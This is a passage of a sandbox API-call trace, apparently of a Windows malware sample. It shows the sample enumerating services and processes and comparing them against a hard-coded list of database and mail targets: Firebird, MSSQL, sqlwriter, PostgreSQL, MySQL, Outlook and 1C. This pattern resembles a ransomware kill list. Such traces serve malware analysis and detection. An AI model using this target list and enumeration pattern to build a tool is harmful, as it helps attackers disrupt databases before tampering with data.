lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0053.432] lstrlenW (lpString="RpcSs") returned 5 [0053.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0053.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0053.432] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0053.432] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0053.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0053.432] lstrlenW (lpString="SamSs") returned 5 [0053.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0053.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0053.433] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0053.433] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0053.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0053.433] lstrlenW (lpString="Schedule") returned 8 [0053.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0053.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0053.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0053.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0053.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0053.433] lstrlenW (lpString="SENS") returned 4 [0053.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0053.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0053.433] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0053.433] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0053.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0053.433] lstrlenW (lpString="ShellHWDetection") returned 16 [0053.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.433] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0053.433] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0053.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0053.434] lstrlenW (lpString="Spooler") returned 7 [0053.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0053.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0053.434] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0053.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0053.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0053.434] lstrlenW (lpString="swprv") returned 5 [0053.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0053.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0053.434] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0053.434] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0053.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0053.434] lstrlenW (lpString="SysMain") returned 7 [0053.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0053.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0053.434] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0053.434] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0053.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0053.434] lstrlenW (lpString="Themes") returned 6 [0053.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0053.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0053.434] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0053.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0053.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0053.434] lstrlenW (lpString="TrkWks") returned 6 [0053.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0053.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0053.435] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0053.435] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0053.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0053.435] lstrlenW (lpString="UxSms") returned 5 [0053.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0053.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0053.435] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0053.435] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0053.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0053.435] lstrlenW (lpString="VSS") returned 3 [0053.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0053.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0053.435] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0053.435] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0053.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0053.435] lstrlenW (lpString="WdiServiceHost") returned 14 [0053.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.435] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0053.435] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0053.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0053.435] lstrlenW (lpString="WdiSystemHost") returned 13 [0053.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.435] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0053.436] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0053.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0053.436] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0053.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.436] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0053.436] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0053.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0053.436] lstrlenW (lpString="Winmgmt") returned 7 [0053.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0053.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0053.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0053.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0053.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0053.436] lstrlenW (lpString="WPDBusEnum") returned 10 [0053.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.436] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0053.436] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0053.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0053.436] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b4738 | out: hHeap=0x5a0000) returned 1 [0053.436] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x210 [0053.442] Process32FirstW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.442] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0053.443] lstrlenW (lpString="System") returned 6 [0053.443] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0053.443] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0053.443] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0053.443] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0053.443] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0053.443] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0053.443] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0053.443] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0053.444] lstrlenW (lpString="smss.exe") returned 8 [0053.444] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0053.444] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0053.444] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0053.444] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0053.444] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0053.444] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0053.444] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0053.444] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.445] lstrlenW (lpString="csrss.exe") returned 9 [0053.445] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0053.445] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0053.445] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0053.445] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0053.445] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0053.445] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0053.445] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0053.445] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0053.446] lstrlenW (lpString="wininit.exe") returned 11 [0053.446] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0053.446] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0053.446] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0053.446] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.447] lstrlenW (lpString="csrss.exe") returned 9 [0053.447] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0053.448] lstrlenW (lpString="winlogon.exe") returned 12 [0053.448] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0053.448] lstrlenW (lpString="services.exe") returned 12 [0053.449] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0053.449] lstrlenW (lpString="lsass.exe") returned 9 [0053.449] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0053.450] lstrlenW (lpString="lsm.exe") returned 7 [0053.450] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.451] lstrlenW (lpString="svchost.exe") returned 11 [0053.451] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.451] lstrlenW (lpString="svchost.exe") returned 11 [0053.451] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.452] lstrlenW (lpString="svchost.exe") returned 11 [0053.452] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.453] lstrlenW (lpString="svchost.exe") returned 11 [0053.453] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.453] lstrlenW (lpString="svchost.exe") returned 11 [0053.453] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0053.454] lstrlenW (lpString="audiodg.exe") returned 11 [0053.454] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.455] lstrlenW (lpString="svchost.exe") returned 11 [0053.455] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.455] lstrlenW (lpString="svchost.exe") returned 11 [0053.455] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0053.456] lstrlenW (lpString="dwm.exe") returned 7 [0053.456] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0053.580] lstrlenW (lpString="explorer.exe") returned 12 [0053.580] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0053.581] lstrlenW (lpString="spoolsv.exe") returned 11 [0053.581] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.582] lstrlenW (lpString="taskhost.exe") returned 12 [0053.582] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.583] lstrlenW (lpString="svchost.exe") returned 11 [0053.583] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0053.583] lstrlenW (lpString="taskeng.exe") returned 11 [0053.583] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.584] lstrlenW (lpString="taskhost.exe") returned 12 [0053.584] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0053.585] lstrlenW (lpString="promotesrouting.exe") returned 19 [0053.585] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0053.585] lstrlenW (lpString="rxcalled.exe") returned 12 [0053.585] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0053.586] lstrlenW (lpString="off.exe") returned 7 [0053.586] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0053.587] lstrlenW (lpString="mayorintl.exe") returned 13 [0053.587] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0053.588] lstrlenW (lpString="gzip-june.exe") returned 13 [0053.588] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0053.588] lstrlenW (lpString="lsnavy.exe") returned 10 [0053.588] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0053.589] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0053.589] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0053.590] lstrlenW (lpString="specifications.exe") returned 18 [0053.590] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0053.590] lstrlenW (lpString="soup-mario.exe") returned 14 [0053.590] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0053.591] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0053.591] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0053.592] lstrlenW (lpString="platformsprivate.exe") returned 20 [0053.592] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0053.592] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0053.592] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0053.593] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0053.593] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0053.594] lstrlenW (lpString="scan-allows.exe") returned 15 [0053.594] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0053.594] lstrlenW (lpString="mwprovince.exe") returned 14 [0053.594] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0053.595] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0053.595] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0053.596] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0053.596] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0053.596] lstrlenW (lpString="contacting.exe") returned 14 [0053.597] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0053.597] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0053.598] Process32NextW (in: hSnapshot=0x210, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 